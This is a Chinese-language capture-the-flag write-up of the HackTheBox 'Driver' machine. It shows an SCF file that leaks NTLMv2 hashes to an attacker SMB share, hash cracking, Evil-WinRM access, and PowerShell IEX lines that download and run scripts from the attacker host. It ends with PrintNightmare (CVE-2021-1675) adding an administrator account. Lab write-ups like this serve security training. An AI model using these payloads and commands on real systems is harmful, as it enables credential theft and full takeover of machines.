> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Driver HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**技能：**

* 密码猜测
* SCF 恶意文件
* 打印后台程序本地权限提升（PrintNightmare）（CVE-2021-1675]
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/09da752413781e07921590a91f3d88514dd17e45" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/e12f5972474750c3e63849dcd6cf6df58307b17d" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：** 在 Nmap 目录中的“allPorts”文件里探测开放端口并导出：

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/26ffe9c9c4793ad3402eea7a73fd5efe8d4541db" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**

使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/029c11f4fe93ea8c8da5bfb6eb70838af48d1117" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本并将信息导出到“targeted”文件：

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/a2612a6d57e6327b1b85b204918f10a0612c711f" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/560bb62c6f9c805c788dbe2f57395c6849bef97d" alt="" width="563"><figcaption></figcaption></figure>

### 对端口 80 的分析：

端口 80 托管着一个带有连接面板的 Web 服务器。

<figure><img src="/files/062a29e76b1d775c03473c88cb3532b6481e6587" alt=""><figcaption></figcaption></figure>

使用 **WhatWeb** 识别出一个默认用户名： `admin`.

<figure><img src="/files/f81562b9532164d65e85670f6713124c485b2be6" alt=""><figcaption></figcaption></figure>

尝试连接到 `admin:admin` 作为标识符。

### MFP 固件更新中心：

<figure><img src="/files/d339726a933be6c816155c9278a59ad88955be44" alt=""><figcaption></figcaption></figure>

该站点提供固件下载选项。消息显示：

> 选择打印机模板并从我们的文件共享中下载相应的固件更新。我们的测试团队会手动审核下载并很快开始测试。

<figure><img src="/files/4e68564fbf6911f1801b2df3e42c51e0604445cc" alt=""><figcaption></figcaption></figure>

## 利用 - SCF 恶意文件：

创建一个恶意的 `.scf` 文件，以在用户打开时捕获其 NTLMv2：

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

监听使用 **impacket** 以捕获 NTLMv2：

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

捕获用户的 NTLMv2 哈希 `tony`.

<figure><img src="/files/3998bb0e94fd1808e2b6b2dfc2c446d1359df92c" alt=""><figcaption></figcaption></figure>

使用 **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/d0cbcbfa56363299f699f72bf4cbbeb4f3cf7bdd" alt=""><figcaption></figcaption></figure>

## SMB 和 WinRM 连接：

**访问验证** 使用 CrackMapExec：

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/96b842a0bfc1d90985604dba3d9831b0efc2a9fd" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* 使用 CrackMapExec 进行连接：

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/0654af9e86e7bd2bc3c643a489db6a72aae9c01b" alt=""><figcaption></figcaption></figure>

**使用 Evil-WinRM 接管**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/d0c367df8515a168e664dbae7a53bbcd64d934c8" alt=""><figcaption></figcaption></figure>

### user.txt 标志：

<figure><img src="/files/d0c367df8515a168e664dbae7a53bbcd64d934c8" alt=""><figcaption></figcaption></figure>

## 权限提升：

### **1. 使用 PowerUp 枚举：**

* 下载 **PowerUp.ps1** 脚本到攻击机，并在末尾添加 `Invoke-AllChecks` 命令以启动所有检查。

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

通过 Python HTTP 服务器将脚本传输到受害机：

```bash
python3 -m http.server 80
```

目标机器上的执行结果：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **结果**：未找到相关项目。

<figure><img src="/files/ad57a420a0cb0ac3c466df83b681b36da888e3c5" alt=""><figcaption></figcaption></figure>

### **2. 使用 winPEAS 枚举：**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

工具传输 **winPEASx64.exe** 到受害机：

`上传 winPEASx64.exe`

<figure><img src="/files/88b4382da8914cae775be78910d8224dfc403f48" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a9b5bb956e7d080726d54e016a4618208cc98fdc" alt=""><figcaption></figcaption></figure>

## **PrintNightmare 利用（CVE-2021-1675）**

检测到一个易受攻击的 **spoolsv** 进程，正在一个 TCP 端口上监听。

<figure><img src="/files/1bf9f7e81eab8fedc37400b9eed0de2b54e583e1" alt=""><figcaption></figcaption></figure>

使用一个用于 PrintNightmare 的利用脚本，可在 GitHub 上获得。

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/471de1ad11ad67dde68fc6802f99fb936a6c8ebe" alt=""><figcaption></figcaption></figure>

以下是要执行的命令：

1. **脚本传输** 以避免被 Windows Defender 阻止：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **创建一个管理员用户** 名为 `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/1330811a89441089c0a65f781a015d2cca332231" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **状态**: `jordan` 用户现在位于管理员组中。

<figure><img src="/files/f359c6cdbfa578c1dc2ffafba2745be4dce77361" alt=""><figcaption></figcaption></figure>

### 具有管理员权限的连接

通过 WinRM 连接到机器，使用 **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/655ff0aea38b192f828da92f635cc15c2aecd515" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/2cd9b43a50bfeff24732b5fae8ae97371c15ef30" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a59228c707fdd299288ade4a165618343ad9459e" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
